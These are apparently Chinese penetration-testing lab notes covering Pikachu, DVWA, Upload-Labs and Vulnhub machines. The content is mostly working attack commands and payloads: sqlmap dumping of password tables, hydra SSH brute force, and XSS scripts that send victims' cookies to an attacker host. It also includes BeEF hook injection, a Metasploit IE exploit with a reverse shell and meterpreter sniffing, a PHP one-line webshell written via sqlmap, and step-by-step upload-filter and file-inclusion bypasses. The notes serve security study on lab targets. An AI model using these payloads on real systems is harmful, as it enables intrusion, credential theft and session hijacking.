sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080 --random-agent -D pikachu -T users -C username,password  --dump

-----------------------------------------------------------------------------------------------------
Database: pikachu                                                                                                                               
Table: users
[3 entries]
+----------+-------------------------------------------+
| username | password                                  |
+----------+-------------------------------------------+
| admin    | e10adc3949ba59abbe56e057f20f883e (123456) |
| pikachu  | 670b14728ad9902aecba32e22fa4f6bd (000000) |
| test     | e99a18c428cb38d5f260853678922e03 (abc123) |
+----------+-------------------------------------------+
7、盲注实验操作
  • 导出burpshuite抓包内容

image-20220515172928128

  • 检测是否存在漏洞
sqlmap -r 111.txt 

image-20220515173159243

会发现只找到了基于时间的盲注,没有找到布尔值的盲注。

解决方法:清除缓存

rm -rf /root/.local/share/sqlmap/output/192.168.184.1
sqlmap -r 111.txt --technique=B   #只测试布尔类型

image-20220515173458006

发现软件失效

原因:基于英文,中文返回差异值不能正确判断

解决方法:--string指定True时的返回值,--not-string指定False时的返回值

sqlmap -r 111.txt --technique=B --string="Yang"

image-20220515174813876

  • 获取数据库名
sqlmap -r 111.txt --technique=B --string="Yang"  --dbs

image-20220515174949997

  • 直接获取数据信息
sqlmap -r 111.txt --technique=B --string="Yang" -D pikachu --dump --threads=10
  • 查看获取的信息
cd /root/.local/share/sqlmap/output/192.168.184.1/dump/pikachu
导出内容

image-20220515193228387

👑Broken

一、操作文档

[Vulnhub - Broken-Gallery writeup (mzfr.me)](https://blog.mzfr.me/vulnhub-writeups/2019-08-21-Broken)

二、靶机信息

IP:192.168.184.135
开启的端口:22,80
用户名:bob
login: broken   password: broken

三、获取基本信息

1、扫描网段IP
netdiscover -r 192.168.184.0/24  
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.184.1   00:50:56:c0:00:08      1      60  VMware, Inc.                    
 192.168.184.2   00:50:56:f8:49:8c      1      60  VMware, Inc.                    
 192.168.184.135 00:0c:29:05:05:03      1      60  VMware, Inc.      	#发现被攻击者IP              
 192.168.184.254 00:50:56:e2:c5:b4      1      60  VMware, Inc.  
2、端口扫描

发现开启了22端口和80端口

nmap -sC -sV 192.168.184.135 -n -vv --min-rate=2000
 _____________________________________________________________________________
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 39:5e:bf:8a:49:a3:13:fa:0d:34:b8:db:26:57:79:a7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsDP1G9p8pMW+TiKn0Exn6d2tGTTPGrKsIAlCWxUoZu/Jz+teqiDxZoQArXlhK/SgXXJv6ufJHMcgWhFOdGG/8Jfm46M7qURTWqTER5f7aNimHTvcBB/Zcnr1cSE+Yt3UgeguQ2VBTqPnESNjIinj5f7OrEJCG6Uvf221Wijzvb6KrYv5LNfrh8UJJ6ieis13aqvjwN1MQdKwMWYAV/2aPLME59TVyqneRDOvFZRDEPMHGJB3ZoNrlNudDf6UqZuLViplnkaN+SuxAWNXYG+g1fA578fNVIzI7bHAYDbCGFZh87TLKHvJvgqlWLDQvo8irzHlWvIpehvbpthnGIG0V
|   256 20:d7:72:be:30:6a:27:14:e1:e6:c2:16:7a:40:c8:52 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOedB//c64utUEo+gsmsh26dzZa0eMsc83InMyXD0rEepjTXqxbplJWFzx3rQSElxwdql+BsaQBI9qg+XROp9ZQ=
|   256 84:a0:9a:59:61:2a:b7:1e:dd:6e:da:3b:91:f9:a0:c6 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIwpzv0aEpNMhO0avZsZ46zXc0aPO2V+867IaJkhJuSN
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.18
|_http-title: Index of /
| http-ls: Volume /
| SIZE  TIME              FILENAME
| 55K   2019-08-09 01:20  README.md
| 1.1K  2019-08-09 01:21  gallery.html
| 259K  2019-08-09 01:11  img_5terre.jpg
| 114K  2019-08-09 01:11  img_forest.jpg
| 663K  2019-08-09 01:11  img_lights.jpg
| 8.4K  2019-08-09 01:11  img_mountains.jpg
|_
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:0C:29:05:05:03 (VMware)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

四、查看80端口的信息

image-20220517172556091

  • 发现包含几张图片和文本

image-20220517172834754

image-20220517173019203

1、由于发现了图片,所以考虑图片隐写,查看图片信息

image-20220517173406620

未发现隐写

2、查看是否含有隐藏目录

dirsearch

dirsearch -u 192.168.184.135

image-20220517174012903

未发现隐藏目录

五、CyberChef解码

  • =考虑是否为Base64
  • From Charcode解码

image-20220517174659595

  • 获取到的图片信息为

image-20220517174801177

六、将获取到的信息形成字典

hello
bob
broken
cheers
avrahamcohen.ac

七、使用九头蛇爆破

hydra -L test.txt -P test.txt ssh://192.168.184.135

[22][ssh] host: 192.168.184.135   login: broken   password: broken

八、远程SSH链接

ssh broken@192.168.184.135

九、查看自己的权限

broken@ubuntu:~$ sudo -l
Matching Defaults entries for broken on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User broken may run the following commands on ubuntu:
    (ALL) NOPASSWD: /usr/bin/timedatectl
    (ALL) NOPASSWD: /sbin/reboot
  • 查看目录
  • 是否可以进入root目录
  • 查看是否有隐藏文件
  • 查看passwd文件
  • 查看是否可以替换命令
    • 快捷方式是否可以更改到别的命令
  • sudo -i可直接进入root
  • sudo man man然后输入!可直接进入root

十、查看历史命令

history | more
  • 写入密码

image-20220517180921079

  • 发现查看过此文档

image-20220517180843384

  • 查看password-policy.sh文档
broken@ubuntu:~$ cat /etc/init.d/password-policy.sh 
#!/bin/bash

DAYOFWEEK=$(date +"%u")
echo DAYOFWEEK: $DAYOFWEEK

if [ "$DAYOFWEEK" -eq 4 ]
then
	sudo sh -c 'echo root:TodayIsAgoodDay | chpasswd'
fi



#if [ "$DAYOFWEEK" == 4 

发现每个周四将密码改为TodayIsAgoodDay

将系统时间改为周四

十一、更改系统时间

broken@ubuntu:~$ sudo timedatectl set-time '2022-05-19 12:00'

image-20220517181605512

XSS漏洞原理与应用

一、什么是XSS漏洞

​ 通过注入手段,将恶意代码传输给服务器,服务器没有做任何校验,将携带恶意代码的数据发送给客户浏览器,浏览器接收数据后,自动执行了恶意的代码,造成浏览器被劫持,浏览器中的账号密码、以及其他数据将面临风险。同时,浏览器可能遭受劫持,被用于钓鱼操作。

二、XSS漏洞简单演示

1、编写HTML代码,放入Web目录下
<html>
  <title>XSS TEST</title>
  <body>
      keyword: <?php echo $_GET['k']; ?><br>
  </body>
</html>
  • 这是登录会发现报错,原因是k没没有赋值

    image-20220516163611446

http://192.168.184.1/XSS/test_01.php?k=500

image-20220516163759263

2、访问XSS页面,实现插入字符功能
http://192.168.184.1/XSS/test_01.php?k=<script>aaa</script>

image-20220516164228273

发现直接写入了返回的代码中

3、利用JS弹窗,测试XSS漏洞
http://192.168.184.1/XSS/test_01.php?k=<script>alert("Yang")</script>

image-20220516164352904

4、嵌入其他网站,实现钓鱼攻击
http://192.168.184.1/XSS/test_01.php?k=<iframe src=http://192.168.184.1/XSS/text_02.html width=1000 height=1000></iframe>

image-20220516170200305

5、读取cookie
  • Kali开启Web监听

    python3 -m http.server 80
    
    netstat -an | more    #查看已经开启的端口
    
  • 此时访问Kali的80端口,kali会出现日志

    image-20220516170853278

  • 注入语句

    192.168.184.1/XSS/test_01.php?k=<script>document.location='http://192.168.184.128/?php=1'</script>
    
    192.168.184.1/XSS/test_01.php?k=<script>document.location='http://192.168.184.128/?cookie='%2bdocument.cookie;</script>
    

    发现用户访问192.168.184.1的时候会跳转到192.168.184.128,如果此时用户携带cookie的话,kali也会获取

image-20220516182411195

三、常见的三种XSS攻击类型

1、反射性
  • 非持久性
  • 需要攻击者提前构造一个恶意链接
2、存储型
  • 把程序固化到网站的某一个页面当中
3、DOM-XSS
  • 客户端的脚本程序可以通过DOM动态地检查和修改页面内容,不依赖于提交数据到服务器,而从客户端获得DOM中的数据在本地执行

四、反射型XSS漏洞攻击(get)

构造语句实现弹窗
<script>alert(1)</script>

image-20220516183623933

五、反射性XSS漏洞攻击(POST)

1、抓取数据包

image-20220516184103911

2、修改数据

image-20220516184949041

3、访问链接

image-20220516185002565

image-20220516185008889

六、存储型

七、DOM型XSS

  • 不通过服务器发送
1、源代码
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
2、修改代码
  • 方法一
'><img src="#" onmouseover="alert('Yang')">

image-20220516191241339

  • 方法二
' onclick="alert('Yang')">

image-20220516192846507

八、DOM型XSS-X

方法一
'><img src="#" onmouseover="alert('Yang')">

![image-20220516191935943]202205161919017.png)

方法二
' onclick="alert('Yang')">

image-20220516191912218

XSS漏洞综合实验

一、安装beef

1、安装

beef-xss

2、卸载
apt-get remove beef-xss --purge			#--purge可以删除所有配置文件	
apt-get update

二、设置账户名

image-20220516194743716

发现开启了3000端口

三、登录Beff

image-20220516195804465

生成的链接

[*]  Web UI: http://127.0.0.1:3000/ui/panel
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
<script src="http://192.168.184.128:3000/hook.js"></script>

image-20220516200014418

image-20220516200028941

此时访问,beef会生成记录

四、测试

Hello <script src="http://192.168.184.128:3000/hook.js"></script>
<script src="http://192.168.184.128:3000/hook.js"></script>

image-20220516202442067

beef上线新主机

image-20220516202509016

Winxp访问DVWA

image-20220516202606799

beef又上线新主机

image-20220516202633803

五、获取数据

image-20220516203108091

六、利用cookie信息

1、默认情况kali访问DVWA

image-20220516203243300

2、添加cookie信息

image-20220516203443109

3、访问登录界面

image-20220516203521139

七、网页跳转

image-20220516204533899

image-20220516204548439

八、获取系统权限

1、进入msfconsole渗透测试框架
msfconsole
2、进入攻击模块
msf6 > use exploit/windows/browser/ie_execcommand_uaf
3、配置信息,默认不需要修改
#相关命令
show info 		#查看介绍
4、启动攻击
msf6 exploit(windows/browser/ie_execcommand_uaf) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.184.128:4444 	
[*] Using URL: http://192.168.184.128:8080/YPIWFWLFV5wHiRX		#目标需要访问的链接
[*] Server started.

image-20220516210333894

攻击后,xp自动跳转到指定界面

image-20220516210423636

5、成功获取权限
  • image-20220516210601849
6、sessions 查看被攻击者列表

image-20220516210654373

sessions 1   #进入权限
7、 获取远程权限

image-20220516210805917

8、创建文件
echo YikJiang > test.txt 
9、上传文件到被攻击者
cd /		#进入根目录下
upload /tmp/test.txt

image-20220516210943255

10、查看xp系统是否上传成功

image-20220516211735182

九、抓取数据包

1、进入抓包模块
load sniffer
2、查看当前网卡信息
meterpreter > sniffer_interfaces 

1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )

只有一个网卡1

3、抓取信息
meterpreter > sniffer_start 1
[*] Capture started on interface 1 (50000 packet buffer)
4、此时xp访问HTTP服务和FTP服务

image-20220517092602338

5、关闭抓取
sniffer_stop 1
6、把抓取到的结果输出
meterpreter > sniffer_dump 1 /tmp/111.pcap
[*] Flushing packet capture buffer for interface 1...
[*] Flushed 1625 packets (454626 bytes)
[*] Downloaded 100% (454626/454626)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/111.pcap
sz 111.pcap 	#提取到物理机

image-20220517093106644

抓取到了FTP和HTTP的数据包,并且由于FTP是明文,所以可以查看到密码

YikJiang

💐💒👰🏻🤵🥂🍾🐷🤎🤍🍃💕💑😎 🍬🤩💌🍑💖💙💝✨💐🎇🎄🎑🎪🎡👑🍸🥑🍓🍒🌅🌊

👑XSS靶机

一、🤵扫描基本信息

1、扫描IP
netdiscover -r 192.168.184.0/24 
_____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.184.1   00:50:56:c0:00:08      1      60  VMware, Inc.
 192.168.184.2   00:50:56:f8:49:8c      1      60  VMware, Inc.
 192.168.184.136 00:0c:29:28:c7:d5      1      60  VMware, Inc. 
 192.168.184.254 00:50:56:e2:c5:b4      1      60  VMware, Inc.
2、扫描端口
nmap -sC -sV 192.168.184.136 -n -vv --min-rate=2000 
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 5.5p1 Debian 6+squeeze4 (protocol 2.0)
| ssh-hostkey: 
|   1024 15:a1:c3:9f:bd:95:f5:07:66:44:b6:f7:89:d1:76:7f (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBANcG8n45XyarI4aMMTJvFKJaCwntIkag3HvyBNC1tulTT5UsMWyq7XZ3YWB57MWpfBzBzm6OvWrSACfVuoA37bm92ugojbi0Gc+SxfDyHeUjizGTbknsGSDhSc43b8fuORtPMXoxTx+i+sbWA1TPzJQOSuCGSvqFqkGcHNY45w9NAAAAFQCg6IS4OJRfA+OEi/CkKf6e6DwjGwAAAIEAxOOO3OGBzPER6jLyWhWl/YFzfcAKrEBJzDzK+xPHF0VhKSfhqqowNC4KDHneQmMJRnwvzjXBR8a4UGXBH9//8NwxKv3QmSqixwZR42fziDuoq7kee9aExGIgbrM0DC0ZOCzCdm/i8cLVOPP+sb5rHynUkGb5ymSwgQ7zR5yI3kYAAACBAMcDImXeWEIUHmbhe1798B7DzBV01Rxj9HuhkzGOwuLA1TXKfr6EZO7qFH1vPIStX9D6YZ4QxR/MjKXdVwEDdbfu+PEpfOrqx6IY1JQniEqQqzqIXMONHk4laRbq6L+yAVnz3NtOZHX4/uYHFA5QRc5yJOqmKxUTGPZMnZN+kps4
|   2048 ad:bf:ed:5c:12:97:cd:38:be:51:09:fa:a0:54:22:52 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1p0+Cjze0ISAf0g0mpqXXHynZ+ITt6kv20U0mzjVLpFTWBI7uYv0HedeIJpZabEMTmmXV0mA37qpGCcsIW/ErjI5PE6T2wKlec3QVtSh0g91XRbKdaVsVRcof170QkfJHwMQeBcZy44t3tel9zt7IqjYB06sqgItS6GJpcp/SuxH51tZUvYUtheKo7+hFVTi3C/UA8VkWmonvitl42QC3/2DQ1F8kI0+Knif/J+92uG6GKCJU7igRGM+FHzbRnb9VU5sMJxC36cBZzn+IAkoRA3hH7fwOlIhlABiQqlmSLJc9Fgf6MlZtookt95CvEGCK/bdcczJMVBWDMZOsLWVN
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.2.16 ((Debian))
|_http-title: PentesterLab vulnerable blog
|_http-favicon: Unknown favicon MD5: 967B30E5E95445E29B882CC82774AC96
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.16 (Debian)

开启80和22端口

二、🤵查看80端口,并测试是否可以XSS注入

<script>alert(111)</script>

测试发现注入成功

image-20220517205921431

三、🤵开启监听,并注入XSS语句

1、开启监听
python3 -m http.server 80
2、注入语句,使得访问kali,获取cookie
<script>new Image().src="http://192.168.184.128/test.php?o="+document.cookie;</script>
"GET /test.php?o=PHPSESSID=ed249cc35dh9li37au4gig7od1 HTTP/1.1" 404 -
3、输入后提交,等待一会后,监听到一个cookie

此cookie为admin用户的cookie

"GET /test.php?o=PHPSESSID=eee9e83boqudr4fqn05sr6bvg7 HTTP/1.1" 404 -
4、修改cookie

image-20220518090448433

  • 发现成功登录到admin界面

image-20220518090516134

四、🤵点击edit,发现疑似可以SQL注入的地方

SQL注入后,提示错误信息,错误信息包含路径

/var/www/classes/post.php

五、🤵抓取数据包,使用sqlmap检测

GET /admin/edit.php?id=2* HTTP/1.1			# *表示只对这一次地方进行检测
Host: 192.168.184.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=eee9e83boqudr4fqn05sr6bvg7
Upgrade-Insecure-Requests: 1
1、测试存在那些风险
sqlmap -r 22.txt 	

image-20220518091525820

发现存在boolean型注入

2、查看存在那些数据库
sqlmap -r 22.txt  --dbs
[*] blog
[*] information_schema
[*] mysql
3、查看数据库表信息
sqlmap -r 22.txt  --D blog --tables
+----------+
| comments |
| posts    |
| users    |
+----------+
4、查看数据信息
sqlmap -r 22.txt  -D blog -T users --dump
+----+-------+---------------------------------------------+
| id | login | password                                    |
+----+-------+---------------------------------------------+
| 1  | admin | 8efe310f9ab3efeae8d410a8e0166eb2 (P4ssw0rd) |
+----+-------+---------------------------------------------+

六、🤵尝试写入文件

1、编写一句话木马
<?php system($_GET['cmd']) ?>
2、写入admin目录
  • 目录为之前报错提示的目录
sqlmap -r 123.txt --file-write="./222.txt" --file-dest="/var/www/classes/shell.php"

#123.txt 为BUrpsuite抓取的数据包
#22.txt  为写入一句话木马文件名
#路径为报错提示的路径

文件上传漏洞

一、💐基础概念

​ web系统,某些功能模块允许我们上传文件,如果对于上传文件没有做好相应的校验机制,我们将会上传一个webshell文件,以达到控制服务器的目录。一旦webshell被上传,将可以对服务器进行文件读写,或者命令执行。

什么是Webshell

​ 具有一定系统操纵功能的web页面,可以对目标服务器进行控制和命令执行

二、💐发现文件上传漏洞的方法

  • 收集可以上传文件的Web功能入口
  • 进行常规的文件上传操作,并进行抓包,分析发送数据的格式和内容,然后分析可能存在的漏洞
  • 通过绕过检测机制的方法,上传webshell

三、💐client check(基于客户端校验)

1、通过反馈的弹窗,初步判断使用了本地校验,分析本地web代码

​ 文件发送通常使用POST方式发送,Burp抓取数据包的时候没有抓取到数据包。、

<?php phpinfo();?>

思路:先发送正常的数据包绕过前端,再从Burpsuite中send以php结尾的文件

<script>
    function checkFileExt(filename)
    {
        var flag = false; //状态
        var arr = ["jpg","png","gif"];		//白名单模式
        //取出上传文件的扩展名
        var index = filename.lastIndexOf(".");
        var ext = filename.substr(index+1);
        //比较
        for(var i=0;i<arr.length;i++)
        {
            if(ext == arr[i])
            {
                flag = true; //一旦找到合适的,立即退出循环
                break;
            }
        }
        //条件判断
        if(!flag)
        {
            alert("上传的文件不符合要求,请重新选择!");
            location.reload(true);
        }
    }
</script>
  • 方法一

绕过前端

image-20220518144303223

image-20220518144334707

  • 方法二

    修改返回代码

image-20220518144811063

image-20220518144825193

四、💐MIME type(基于服务端MIME校验)

1、通过上传php文件,发现可以正常发包,但是返回后缀名,只能是jpg格式

image-20220518153900986

2、对代码进行分析,发现服务器校验了发送数据包中的Content-type
if(isset($_POST['submit'])){
//     var_dump($_FILES);
    $mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
    $save_path='uploads';//指定在当前目录建立一个目录
    $upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
    if($upload['return']){
        $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
    }else{
        $html.="<p class=notice>{$upload['error']}</p>";
    }
}

image-20220518153812762

3、修改Type值
image/jpeg

将传给服务器的值修改为image/jpeg

image-20220518154138234

4、访问

image-20220518154251211

五、getimagesize(基于图片特征校验函数)

  • 需要先将PHP版本切换为7.0.12
1、上传一个webshell,后缀名为jpg,返回错误

image-20220518155238396

2、上传一个正常图片,返回正确,初步判断是进行了图片特征校验

image-20220518155221693

3、制作图片木马,然后上传
copy 1.jpg/b + 1.php/a 222.jpg
/b:二进制
/a:ASCII码

image-20220518161954752

image-20220518162019698

4、在webshell上传后,借助文件包含执行后门程序
  • 观察目录结构,需要后退两级访问图片
../../unsafeupload/uploads/2022/05/18/2531276284ac39b8828887412532.jpg
  • 原路径
http://192.168.184.1/Pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
  • 修改后的路径
http://192.168.184.1/Pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/05/18/2531276284ac39b8828887412532.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
  • 执行成功

image-20220518162836491

👑Upload-Labs

防范措施:

  • 设置白名单
  • 使用静态云存储

一、✨Pass_01

基于本地的后缀名验证

1、方法一

正常上传jpg格式文件,使用Burpsuite拦截,修改后缀,则可绕过

image-20220518173311292

2、方法二

直接使用插件禁用JS代码

二、✨Pass_02

基于MIME文件类型校验

image-20220518173700102

三、✨Pass_03

基于后缀名黑名单进行校验

1、查看源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');		//设置黑名单
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
2、使用不常见的后缀进行绕过,php5、phtml、php3等
  • 修改配置文件,增加对应的解析文件类型
  • 查看httpd.conf: AddType application/x-httpd-php ,增加后缀名

注意取消注释

image-20220518210122256

image-20220518210131521

  • 切换PHP的版本为5.4(无NTS版)

image-20220518234828846

四、✨Pass_04

1、上传一个.htaccess文件,定义直接作为代码执行的文件名
<FilesMatch  "up">
SetHandler application/x-httpd-php
</FilesMatch>

只要文件名等于up统一按照php代码来执行

2、上传一个webshell,命名为up.jpg

image-20220518211822833

3、访问up.jpg文件,可以看到文件被执行

image-20220518212053683

7版本之前的漏洞

五、✨Pass_05

需要7.1以上的版本

1、先上传一个以auto_prepend_file=1.gif为内容的user.ini文件

image-20220518230201571

2、然后再上传一个内容为php的一句话脚本,命名为1.gif

image-20220518230546469

3、user.ini文件的意思:当前目录所有的php文件自动包含1.gif

user.ini相当于一个用户自定义的php.ini

image-20220518230639747

六、✨Pass_06

需要PHP版本5.4.45

1、查看源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

发现文件名大小写不严谨漏洞

2、修改文件名为2.Php

image-20220519101533533

image-20220519101605969

七、✨Pass_07

通过查看源代码,发现可以利用特殊符号绕过

传输文件的时候,抓包修改文件名。增加空格和点,绕过检查,服务器收到以后保存不会保存特殊符号,成功执行php

Content-Disposition: form-data; name="upload_file"; filename="1.php ."\
# 服务器收到1.php .
1、去除末尾小数点得到 1.php空格
2、拿着1.php空格与黑名单对比,发现没用匹配,继续上传
3、服务器收到1.php空格,保存文件默认取消空格保存为1.php

image-20220519102254507

八、✨Pass_08

1、查看源代码

发现漏洞:判断文件名的时候使用的最初的文件名

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
2、思路
  • 根据代码,将文件名设置为1.php.
  • 根据.分隔,后缀名为空,空与黑名单对比,不存在,通过
  • 服务器收到1.php.不会保存最后的.,所以保存后的文件名为1.php
3、步骤
  • burpsuite截断

image-20220519103640121

  • 上传文件

image-20220519103705347

九、✨Pass_09

1、查看源代码,发现没用对::$DATA做处理

此方法仅限于Window系统ntfs分区

系统收到后会当作自己分区符号,不会作为文件名存储

2、Burpsuite截断
Content-Disposition: form-data; name="upload_file"; filename="1.php::$DATA"

image-20220519104436803

十、✨Pass_10

1、查看源码

发现做判断的值为初始值

2、思路
  • 截断修改文件名为1.php. .
  • 删除末尾的点1.php.空格
  • 根据.分隔,分为1.php.空格
  • 去除末尾空格后,发送给服务器,服务器保存时更改为1.php
3、步骤

image-20220519105228364

十一、✨Pass_11

后缀名双写绕过

1、代码分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);		#自动识别文件名
        $file_name = str_ireplace($deny_ext,"", $file_name); # 如果发现文件名有arry里的类型,自动替换为空
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
2、后缀名双写

从左往右匹配

  • 修改文件名为1.pphphp

image-20220519110137410

image-20220519110128361

十二、✨Burpsuite

  • 可以使用burpsuite抓取数据包
  • 将后缀名设置为变量
  • 将文件类型 image/jpeg
  • 设置为木马图片,防止图片检测

image-20220519112729685

文件包含漏洞

一、🥂概念

利用了文件包含功能,将而已代码包含到功能页面中把那个执行,从而获取webshell

二、🥂分类

1、本地包含

需要在本地上传一个代码文件,后缀名不限,然后通过相对路径进行包含并执行代码。

与getimagesize同理

2、远程包含

不需要在本地上传文件,课任意包含远程文件,然后执行,这种文件包含风险更大

  • 修改配置文件

image-20220518163933310

  • 直接远程上传
http://192.168.184.1/Pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.184.1/Pikachu/vul/unsafeupload/uploads/2022/05/18/9774366284ab57de478009611930.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

👑Durian

一、🤎靶机信息

# 靶机地址
http://www.vulnhub.com/entry/durian-1,553/
s
#参考
https://blog.csdn.net/LYJ20010728/article/details/119832954
https://blog.csdn.net/weixin_50688050/article/details/118218951

二、🤎获取端口信息

1、获取IP
netdiscover -r 192.168.184.0/24
 Currently scanning: 192.168.184.0/24   |   Screen View: Unique Hosts              
                                                                                   
 6 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 360                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.184.1   00:50:56:c0:00:08      1      60  VMware, Inc.                    
 192.168.184.2   00:50:56:f8:49:8c      2     120  VMware, Inc.                    
 192.168.184.137 00:0c:29:d4:59:5a      2     120  VMware, Inc.                    
 192.168.184.254 00:50:56:e2:c5:b4      1      60  VMware, Inc. 
